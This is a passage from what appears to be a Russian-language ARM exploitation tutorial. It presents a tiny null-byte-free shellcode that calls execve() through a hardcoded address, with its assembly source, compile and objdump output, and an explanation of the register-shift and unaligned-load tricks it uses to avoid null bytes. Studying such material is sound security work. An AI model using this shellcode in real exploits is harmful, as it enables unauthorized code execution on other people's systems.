Алгоритм 9 Крошечный шеллкод (внутри shell_tiny.s)
...
.global
operation
.type
operation, %function
operation:
eor
r1, r1
eor
r2, r2
ldr
r3, [pc, #12]
mov
r0, r3, lsl r1
ldr
pc, [pc, #1]
.word
0x40134130
.word
0x400b6170
.L3:
.size
operation, .-operation
.align
2
...
Мы можем скомпилировать его и проверить машинный код с помощью objdump:
root@armstation# gcc shell_tiny.s -o shell_tiny
root@armstation# objdump -d shell_tiny | grep ":" -A 7
00008364 :
8364:
e0211001
eor r1, r1, r1
8368:
e0222002
eor r2, r2, r2
836c:
e59f3004
ldr r3, [pc, #4]
; 8378
54
8370:
e1a00113
lsl r0, r3, r1
8374:
e59ff001
ldr pc, [pc, #1]
; 837d
8378:
40134130
.word
0x40134130
837c:
400b6170
.word
0x400b6170
root@armstation#
Нулевых байтов нет, и шеллкод начинает, как всегда, со сброса регистров r1 и
r2.
Сразу после этого мы используем небольшой трюк, чтобы избежать нулевых
байтов, которые возникают при прямой загрузке значения в r0 (например, с
помощью
ldr r0, [pc, #4]
).
Инструкция
mov r0, r3, lsl r1
(или просто
lsl r0, r3, r1
) сохраняет в r0
значение, содержащееся в r3, сдвинутое на значение r1. Поскольку r1 был
очищен, эта инструкция эквивалентна
mov r0, r3
(без генерации нулевых
байта).
Наконец, адрес execve() загружается непосредственно в счетчик программы. В
этом случае мы использовали грязный трюк, чтобы избежать нулевых байтов.
Инструкция
ldr pc, [pc, #1]
пытается загрузить в pc невыровненное
значение (0x837c+0x1=0x837d).
Поскольку процессор выполняет только выровненные операции с памятью,
младший значащий бит отбрасывается, и загружается правильное значение.
Пожалуйста, имейте в виду, что подобные трюки могут не работать на
некоторых ARM процессорах.
Do'stlaringiz bilan baham: |